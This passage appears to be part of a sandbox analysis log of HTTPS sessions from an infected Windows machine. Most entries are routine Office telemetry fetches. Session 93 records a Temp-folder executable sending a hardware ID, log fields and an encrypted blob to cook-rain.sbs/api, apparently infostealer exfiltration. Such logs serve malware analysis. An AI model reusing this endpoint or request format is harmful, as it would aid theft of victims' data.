ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:15 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f8daa98b-f01e-0085-209b-3888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200416Z-1866b5c5fbbpxkkxhC1DFWhvmc00000006mg00000000c959 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:15 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200416Z-1866b5c5fbb2cz68hC1DFW9ytc00000005ag00000000ghu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:15 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200416Z-16547b76f7fljddfhC1DFWeqbs000000072000000000prys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:16 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 66d79bbb-701e-006f-4ab4-39afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200416Z-16547b76f7fkf5v9hC1DFW2y5s000000061g00000000y6pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200417Z-16547b76f7fd4rc5hC1DFWkzhw00000006m000000000bvbs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200417Z-164f84587bfdl84ghC1DFWuvq400000000h000000000mwz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:17 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200417Z-1866b5c5fbbls4jchC1DFWnmb400000001hg00000000rw7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200417Z-1866b5c5fbbfrdddhC1DFW7e9000000002d0000000001mag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:17 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49833	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N33ECTFYEG9OBUVG4RD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18175 Host: cook-rain.sbs
2024-11-18 20:04:17 UTC	15331	OUT	Data Raw: 2d 2d 4e 33 33 45 43 54 46 59 45 47 39 4f 42 55 56 47 34 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 41 41 30 35 34 34 41 37 34 44 35 45 32 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 33 33 45 43 54 46 59 45 47 39 4f 42 55 56 47 34 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 33 33 45 43 54 46 59 45 47 39 4f 42 55 56 47 34 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --N33ECTFYEG9OBUVG4RDContent-Disposition: form-data; name="hwid"5BAA0544A74D5E2B63CFCF7E6C45F838--N33ECTFYEG9OBUVG4RDContent-Disposition: form-data; name="pid"2--N33ECTFYEG9OBUVG4RDContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 20:04:17 UTC	2844	OUT	Data Raw: eb a4 8c a1 79 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec Data Ascii: yA~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IU
2024-11-18 20:04:18 UTC	987	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lvf9v0i1250rqbiimp3ko804sq; expires=Fri, 14-Mar-2025 13:50:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLpB1HrLEvLzG%2BS4OTPjgoIeIRXq%2BWGcRujQkS3Q7lhk%2F3EDzwByUMF9SiGCOWWHenX1ivlaNEP0H%2BZrKeOVmXhPO6LXoFj0YLQPRcq%2B93XghIXFcby4vuUJlNFkANWS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a919b2ebfb0bd-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20315&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19135&delivery_rate=137865&cwnd=32&unsent_bytes=0&cid=91236a660c00d5b6&ts=882&x=0"
2024-11-18 20:04:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 20:04:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:17 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200417Z-16547b76f7fp6s5dhC1DFWe28g00000003gg00000000f9cu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:18 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200418Z-16547b76f7f64d6whC1DFWf9vn00000004rg00000000xsm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
